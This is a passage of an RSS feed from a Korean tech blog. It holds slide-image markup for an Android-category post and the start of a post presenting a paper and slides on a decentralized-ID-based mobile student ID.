&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드36.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zgWEZ/btrfjdeDB0J/Gqn29002u5IQpgA6Oa4Ql0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zgWEZ/btrfjdeDB0J/Gqn29002u5IQpgA6Oa4Ql0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zgWEZ/btrfjdeDB0J/Gqn29002u5IQpgA6Oa4Ql0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzgWEZ%2FbtrfjdeDB0J%2FGqn29002u5IQpgA6Oa4Ql0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드36.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드37.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNgDoA/btrfjdMtsWS/pgJY8IBdbG6SJBwJ8DKnQ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNgDoA/btrfjdMtsWS/pgJY8IBdbG6SJBwJ8DKnQ0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNgDoA/btrfjdMtsWS/pgJY8IBdbG6SJBwJ8DKnQ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNgDoA%2FbtrfjdMtsWS%2FpgJY8IBdbG6SJBwJ8DKnQ0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드37.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드38.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpq6RF/btrfmPRCpUP/4u9zDG1ewKcU4X5iePoIJK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpq6RF/btrfmPRCpUP/4u9zDG1ewKcU4X5iePoIJK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpq6RF/btrfmPRCpUP/4u9zDG1ewKcU4X5iePoIJK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpq6RF%2FbtrfmPRCpUP%2F4u9zDG1ewKcU4X5iePoIJK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드38.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드39.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHmshM/btrfnlWOre0/F4s2QgdrkcDfkmVRRNxko1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHmshM/btrfnlWOre0/F4s2QgdrkcDfkmVRRNxko1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHmshM/btrfnlWOre0/F4s2QgdrkcDfkmVRRNxko1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHmshM%2FbtrfnlWOre0%2FF4s2QgdrkcDfkmVRRNxko1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드39.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Android</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/268</guid>
      <comments>https://netking.tistory.com/268#entry268comment</comments>
      <pubDate>Fri, 17 Sep 2021 16:21:25 +0900</pubDate>
    </item>
    <item>
      <title>분산 ID 기반 모바일 학생증 구현</title>
      <link>https://netking.tistory.com/267</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Paper&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1637253957188&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Google Drive - 모든 파일을 한 곳에서&quot; data-og-description=&quot;하나의 계정으로 모든 Google 서비스를 Google Drive로 이동하려면 로그인하세요.&quot; data-og-host=&quot;accounts.google.com&quot; data-og-source-url=&quot;https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&quot; data-og-url=&quot;https://accounts.google.com/ServiceLogin?service=wise&amp;amp;passive=1209600&amp;amp;continue=https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&amp;amp;followup=https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Google Drive - 모든 파일을 한 곳에서&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;하나의 계정으로 모든 Google 서비스를 Google Drive로 이동하려면 로그인하세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;accounts.google.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PPT&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드1.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsCwLN/btq8bs2ijFC/OqQXTcWSLzIEMfAv45kAE0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsCwLN/btq8bs2ijFC/OqQXTcWSLzIEMfAv45kAE0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsCwLN/btq8bs2ijFC/OqQXTcWSLzIEMfAv45kAE0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsCwLN%2Fbtq8bs2ijFC%2FOqQXTcWSLzIEMfAv45kAE0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드1.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드2.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs0DBI/btq79kdQsnQ/Fn5J8tNa05woqqBniWC7ok/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs0DBI/btq79kdQsnQ/Fn5J8tNa05woqqBniWC7ok/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs0DBI/btq79kdQsnQ/Fn5J8tNa05woqqBniWC7ok/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs0DBI%2Fbtq79kdQsnQ%2FFn5J8tNa05woqqBniWC7ok%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드2.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드3.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1ct6C/btq8atARLqS/GZj3P0vK3ivvY2PdSs6RI0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1ct6C/btq8atARLqS/GZj3P0vK3ivvY2PdSs6RI0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1ct6C/btq8atARLqS/GZj3P0vK3ivvY2PdSs6RI0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1ct6C%2Fbtq8atARLqS%2FGZj3P0vK3ivvY2PdSs6RI0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드3.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드4.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pazn7/btq79NzTORJ/n8wOyH7YJ39CESjwAD17a0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pazn7/btq79NzTORJ/n8wOyH7YJ39CESjwAD17a0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pazn7/btq79NzTORJ/n8wOyH7YJ39CESjwAD17a0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPazn7%2Fbtq79NzTORJ%2Fn8wOyH7YJ39CESjwAD17a0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드4.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드5.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JYqlh/btq8aM705Ij/Jz53thMHCIsa2QQFHkPRsk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JYqlh/btq8aM705Ij/Jz53thMHCIsa2QQFHkPRsk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JYqlh/btq8aM705Ij/Jz53thMHCIsa2QQFHkPRsk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJYqlh%2Fbtq8aM705Ij%2FJz53thMHCIsa2QQFHkPRsk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드5.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드6.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZXWEy/btq79kLDT3F/RswqWO6xfePn2D60x2Ui9K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZXWEy/btq79kLDT3F/RswqWO6xfePn2D60x2Ui9K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZXWEy/btq79kLDT3F/RswqWO6xfePn2D60x2Ui9K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZXWEy%2Fbtq79kLDT3F%2FRswqWO6xfePn2D60x2Ui9K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드6.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드7.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MCaFX/btq79vzrCdF/Ve3L8O9Wl56zVraXfYV4e0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MCaFX/btq79vzrCdF/Ve3L8O9Wl56zVraXfYV4e0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MCaFX/btq79vzrCdF/Ve3L8O9Wl56zVraXfYV4e0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMCaFX%2Fbtq79vzrCdF%2FVe3L8O9Wl56zVraXfYV4e0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드7.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드8.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4gSMt/btq8bMTLh4R/4JcS6QGKBBwNRrAtQDTtQK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4gSMt/btq8bMTLh4R/4JcS6QGKBBwNRrAtQDTtQK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4gSMt/btq8bMTLh4R/4JcS6QGKBBwNRrAtQDTtQK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4gSMt%2Fbtq8bMTLh4R%2F4JcS6QGKBBwNRrAtQDTtQK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드8.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드9.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oX2ZQ/btq8bsBeyq4/NCTquuihR8BdKkWPvbbyB1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oX2ZQ/btq8bsBeyq4/NCTquuihR8BdKkWPvbbyB1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oX2ZQ/btq8bsBeyq4/NCTquuihR8BdKkWPvbbyB1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoX2ZQ%2Fbtq8bsBeyq4%2FNCTquuihR8BdKkWPvbbyB1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드9.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드10.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOjKV6/btq79LWk19Y/qBOFfKuQTl2DdhqAffjyc0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOjKV6/btq79LWk19Y/qBOFfKuQTl2DdhqAffjyc0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOjKV6/btq79LWk19Y/qBOFfKuQTl2DdhqAffjyc0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOjKV6%2Fbtq79LWk19Y%2FqBOFfKuQTl2DdhqAffjyc0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드10.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드11.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uDMBg/btq8aOLwoy8/g0143EV0SG9H3MVkSAseXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uDMBg/btq8aOLwoy8/g0143EV0SG9H3MVkSAseXK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uDMBg/btq8aOLwoy8/g0143EV0SG9H3MVkSAseXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuDMBg%2Fbtq8aOLwoy8%2Fg0143EV0SG9H3MVkSAseXK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드11.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드12.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5nVBs/btq8au7DzxL/WRUVUroDWjVJJO3c6tYzgK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5nVBs/btq8au7DzxL/WRUVUroDWjVJJO3c6tYzgK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5nVBs/btq8au7DzxL/WRUVUroDWjVJJO3c6tYzgK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5nVBs%2Fbtq8au7DzxL%2FWRUVUroDWjVJJO3c6tYzgK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드12.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드13.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RyNR1/btq79kStWVj/ISbxyCz3XVpGDMDxMcqMl0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RyNR1/btq79kStWVj/ISbxyCz3XVpGDMDxMcqMl0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RyNR1/btq79kStWVj/ISbxyCz3XVpGDMDxMcqMl0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRyNR1%2Fbtq79kStWVj%2FISbxyCz3XVpGDMDxMcqMl0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드13.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드14.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I1s1Q/btq8bt1cIUj/udZ2OZ2RCsCNQGzEkmYXR0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I1s1Q/btq8bt1cIUj/udZ2OZ2RCsCNQGzEkmYXR0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I1s1Q/btq8bt1cIUj/udZ2OZ2RCsCNQGzEkmYXR0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI1s1Q%2Fbtq8bt1cIUj%2FudZ2OZ2RCsCNQGzEkmYXR0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드14.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드15.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p9g4g/btq8bMe9VWw/vNsslFeBqKor30shcXykX1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p9g4g/btq8bMe9VWw/vNsslFeBqKor30shcXykX1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p9g4g/btq8bMe9VWw/vNsslFeBqKor30shcXykX1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp9g4g%2Fbtq8bMe9VWw%2FvNsslFeBqKor30shcXykX1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드15.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
